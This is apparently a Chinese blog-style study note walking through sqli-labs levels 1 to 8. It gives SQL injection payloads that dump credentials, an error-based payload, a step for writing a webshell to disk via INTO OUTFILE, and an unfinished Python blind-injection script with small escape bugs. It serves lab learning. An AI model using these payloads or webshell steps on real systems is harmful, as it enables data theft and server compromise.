「安全筆記」 sqli-labs 從注入到刪庫

「安全筆記」 sqli-labs 從注入到刪庫

資源介紹參數
資源類別: 代碼筆記
如遇問題: 聯繫客服/留言反饋
前言:為了更好的學習,可以在sql語句下面插入這句話。echo "your sql statement is ".$sql."
";這樣可以在網頁里看到你的sql查詢語句。手注基本步驟、引導閉合語句...

前言

為了更好的學習,可以在sql語句下面插入這句話。

  1. echo "your sql statement is ".$sql."<br>";

這樣可以在網頁里看到你的sql查詢語句。

手注基本步驟、引導閉合語句:

  1. or 1=1--+
  2. 'or 1=1--+
  3. "or 1=1--+
  4. )or 1=1--+
  5. ')or 1=1--+
  6. ") or 1=1--+
  7. "))or 1=1--+
  8. --+ 可以用#替換,url 提交過程中 Url 編碼後的#為%23
  9. orand判斷 判斷是否存在注入
  10. or 1=1 不報錯 or 1=2 報錯
  11. and 1=1 不報錯 and 1=2 報錯

然後用order by 來判斷字段數,可以用對分查找快速排查
最後在顯示位上替換要查找的信息即可

Less-1

  1. ?id=1' and 1=1--+ #正常
  2. ?id=1' and 1=2--+ #錯誤 存在注入
  3. ?id=1' and order by 4--+ #錯誤
  4. ?id=1' and order by 3--+ #正常 判斷有三個字段
  5. ?id=1' union select 1,2,3--+ #找到2,3顯示位
  6. ?id=1' union select 1.2,database()--+ #查找當前數據庫名稱
  7. ?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ #查找所有數據庫
  8. ?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ #查詢數據庫下的數據表
  9. ?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ #查詢數據表下的字段
  10. ?id=0%27 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+ #查詢password和username字段

Less-2-4

?id=1 (數值型)
?id=1′)
?id=1")

less-5

基於報錯的sql注入

  1. ?id=1' and extractvalue(1,concat(0x5c,database()));

詳細可以參考這裡
從這一關開始,就發現自己菜的真真實實。

「安全筆記」 sqli-labs 從注入到刪庫

less-6

  1. ?id=1" 報錯注入

less-7

導出文件,需要滿足幾個條件
1.root權限
2.絕對路徑
?id=1')) UNION SELECT 1,2,3 into outfile "文件的絕對路徑"
可以一條條導入,也可以導入一句話木馬菜刀連接

less-8

布爾盲注,常用函式

  1. Length()函式 返回字符串的長度
  2. Substr()截取字符串
  3. Ascii()返回字符的ascii
  4. ?id=1' and length(database())=8--+ //手注要一個個猜解,猜中了返回正常,猜錯了不正常。
  5. ?id=1' and ascii(substr(database(),1,1))>97 //通過ascii猜database第一個字符,返回正常就猜一個更大的,然後用對分查找快速排查

附一個py腳本,第一次寫腳本,我怎麼這麼菜=,寫的不好,輕噴(而且未完成,未優化)

  1. import requests
  2. import sys
  3. url = "http://localhost/sqli-labs-master/Less-8/?id=1"
  4. chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_!@#$%^&*()'
  5. def get_DBname_len():
  6. print("Start to get DBname len....")
  7. DBname_len= 0
  8. global url
  9. url_template = url+"' and length(database())={0}%23"
  10. for i in range(20):
  11. newUrl=url_template.format(i)
  12. res = requests.get(newUrl)
  13. if 'You' in res.text:
  14. DBname_len=i
  15. print("DBName length is: n", DBname_len)
  16. break
  17. return DBname_len
  18. def get_DBname():
  19. print("Start to retrieve database name...")
  20. DBname = ""
  21. url_template = url + "' and ascii(substr(database(),{0},1))={1}%23"
  22. max = get_DBname_len()+1
  23. print("DBName is:")
  24. for i in range(1,max):
  25. for j in chars:
  26. newUrl =url_template.format(i,ord(j))
  27. res = requests.get(newUrl)
  28. if 'You' in res.text:
  29. sys.stdout.write(j)
  30. sys.stdout.flush()
  31. DBname = DBname+j
  32. break
  33. def get_Table_Num():
  34. print("nStart to retrieve database number")
  35. num=0
  36. url_template=url+"' and (select count(table_name)a from information_schema.tables where table_schema = database() having a={0})%23"
  37. for i in range(1,20):
  38. newUrl = url_template.format(i)
  39. res = requests.get(newUrl)
  40. if 'You' in res.text:
  41. num=i
  42. break
  43. print("table number is:",num)
  44. return num
  45. def get_Tables_len():
  46. url_template = url+"' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1}%23"
  47. tables_len=[]
  48. for i in range(5):
  49. for j in range(1,20):
  50. newUrl = url_template.format(i,j)
  51. res = requests.get(newUrl)
  52. if 'You' in res.text:
  53. tables_len.append(j)
  54. break
  55. return tables_len
  56. def get_Table_Name():
  57. print("nStart to get Table name")
  58. presentName=''
  59. tables_len=get_Tables_len()
  60. presentNameLen=0
  61. max_num = int(get_Table_Num())+1
  62. url_template= url+"' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1)))={2}%23"
  63. for i in range(max_num):
  64. for j in range(20):
  65. for k in chars:
  66. newUrl =url_template.format(i,j,ord(k))
  67. res = requests.get(newUrl)
  68. if 'You' in res.text:
  69. sys.stdout.write(k)
  70. sys.stdout.flush()
  71. presentNameLen+=1
  72. break
  73. if presentNameLen==tables_len[i]:
  74. presentNameLen=0
  75. sys.stdout.write('n')
  76. break
  77. print("End of search",end='')
  78. get_Table_Num()
  79. get_DBname()
  80. get_Table_Name()
聲明:本文為原創作品,版權歸作者所有。未經許可,不得轉載或用於任何商業用途。如若本站內容侵犯了原著者的合法權益,可聯繫我們進行處理。
0 條回復 A文章作者 M管理員
歡迎您,新朋友,感謝參與互動!
    暫無討論,說說你的看法吧